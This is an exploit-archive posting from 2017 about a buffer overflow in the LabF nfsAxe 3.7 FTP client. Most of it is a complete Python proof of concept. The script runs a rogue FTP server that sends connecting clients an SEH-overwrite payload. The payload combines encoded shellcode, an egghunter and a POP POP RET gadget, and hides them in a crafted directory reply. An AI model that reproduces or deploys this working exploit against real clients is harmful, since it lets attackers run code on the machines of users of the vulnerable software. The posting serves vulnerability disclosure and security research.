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LabF nfsAxe FTP Client 3.7 Buffer Overflow

LabF nfsAxe FTP Client 3.7 Buffer Overflow
Posted May 17, 2017
Authored by Tulpa

LabF nfsAxe ftp client version 3.7 suffers from a buffer overflow vulnerability.

tags | exploit, overflow
SHA-256 | 21172dda65256d99b65a588422dfc1ba3443d59700c3ea4bf4852e4d14c2b0ed

LabF nfsAxe FTP Client 3.7 Buffer Overflow

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#!/usr/bin/python

print "LabF nfsAxe 3.7 FTP Client Buffer Overflow (SEH)"
print "Author: Tulpa / tulpa[at]tulpa-security[dot]com"

#Author website: www.tulpa-security.com
#Author twitter: @tulpa_security

#Tested on Windows Vista x86

import socket
import sys

#badchars \x00\x10\x0a

buf = ""
buf += "\xbb\x7e\xbc\x7c\x19\xda\xc2\xd9\x74\x24\xf4\x58\x29"
buf += "\xc9\xb1\x59\x83\xe8\xfc\x31\x58\x0e\x03\x26\xb2\x9e"
buf += "\xec\x3e\xf2\x5e\x0f\xbe\x40\x12\x4b\xbe\xa1\xd5\x95"
buf += "\xc7\xc8\x6f\x9c\x7e\xb7\xdd\x8e\x69\x13\x07\xbf\xae"
buf += "\x85\x31\xca\x9d\xfd\xaf\xc8\xe6\x8f\x7e\x3f\xf4\xee"
buf += "\xa6\xdd\x77\xa2\x8e\x27\xb9\xce\xce\x9b\x53\x78\x7c"
buf += "\xee\x04\xb5\xb0\x20\xfe\xf5\xf8\x3c\xff\x5e\x55\xb4"
buf += "\x1a\xe9\x08\xc6\x8e\xda\xeb\xa2\xc5\x1a\x87\x6b\xd5"
buf += "\x97\xe7\x77\x48\x2c\x5f\x80\x79\x3f\xed\xc7\x51\x11"
buf += "\xbf\x18\x79\x18\xfc\xbe\x92\x0b\x69\x49\x3a\x2d\x83"
buf += "\x23\xc8\x74\xd0\xc9\xcc\x06\x1f\x37\xb8\xe2\xb1\x6b"
buf += "\xbf\xdf\xbe\x64\xb3\x20\xc1\x74\x92\xa9\xc5\xfa\xc6"
buf += "\x41\xf4\xfd\x60\x17\x1b\x91\x6d\x43\x8c\x93\x6c\x6b"
buf += "\x4c\x6b\x3b\x4b\x1b\xc4\x94\xdc\xe4\xbd\x5d\xb4\x15"
buf += "\x14\x7d\xb3\x29\xa6\x82\x94\xfa\xa1\x7e\x1b\x27\x23"
buf += "\xf7\xfd\x4d\x53\x51\x51\x6d\x06\x45\x02\xc2\x56\x20"
buf += "\xb8\xb3\xfe\x99\x3f\x6e\xef\x94\x02\xf7\x8c\x4a\xd6"
buf += "\x75\xae\xb6\xe6\x45\xa5\xa3\x51\xb5\x91\x42\xb6\xff"
buf += "\xa2\x70\x29\x44\xd5\x3c\x6d\x79\xa0\xc0\x49\xc9\x3b"
buf += "\x44\xb6\x85\xb2\xc8\x92\x45\x48\x74\xff\x75\x06\x24"
buf += "\xae\x24\xf7\x85\x01\x8e\xa6\x54\x5d\x65\x49\x07\x5e"
buf += "\xd3\x79\x2e\x41\xb6\x86\xcf\xb3\xb8\x2c\x03\xe3\xb9"
buf += "\x9a\x57\xf4\x13\x0d\x34\x5f\xca\x1a\x31\x33\xd6\xbc"
buf += "\xce\x89\x2a\x36\x84\x14\x2b\x49\xce\x9c\x81\x51\x85"
buf += "\xf9\x35\x63\x72\x1e\x07\x2a\x0f\xd5\xe3\xad\xe1\x27"
buf += "\x0b\x51\xcc\x87\x5f\x92\xce\x7c\xa7\x22\xc1\x70\xa6"
buf += "\x63\x36\x78\x93\x17\xec\x69\x91\x06\x67\xcb\x7d\xc8"
buf += "\x9c\x8a\xf6\xc6\x29\xd8\x53\xcb\xac\x35\xe8\xf7\x25"
buf += "\xc8\x07\x1c\x3b\xfa\x17\x6a\xd1\xa3\xc9\x30\x7e\x9e"
buf += "\xfe\xca"

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

egg = "w00tw00t"

nseh = "\x90\x90\xEB\x05" #JMP over SEH
seh = "\xF8\x54\x01\x68" #POP POP RET 680154F8 in WCMDPA10.DLL

buffer = "A" * 100 + egg + "\x90" * 10 + buf + "D" * (9266-len(buf)) + nseh + seh + egghunter + "C" * 576

port = 21

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", port))
s.listen(5)
print("[i] Evil FTP server started on port: "+str(port)+"\r\n")
except:
print("[!] Failed to bind the server to port: "+str(port)+"\r\n")

while True:
conn, addr = s.accept()
conn.send('220 Welcome to your unfriendly FTP server\r\n')
print(conn.recv(1024))
conn.send("331 OK\r\n")
print(conn.recv(1024))
conn.send('230 OK\r\n')
print(conn.recv(1024))
conn.send('220 "'+buffer+'" is current directory\r\n')

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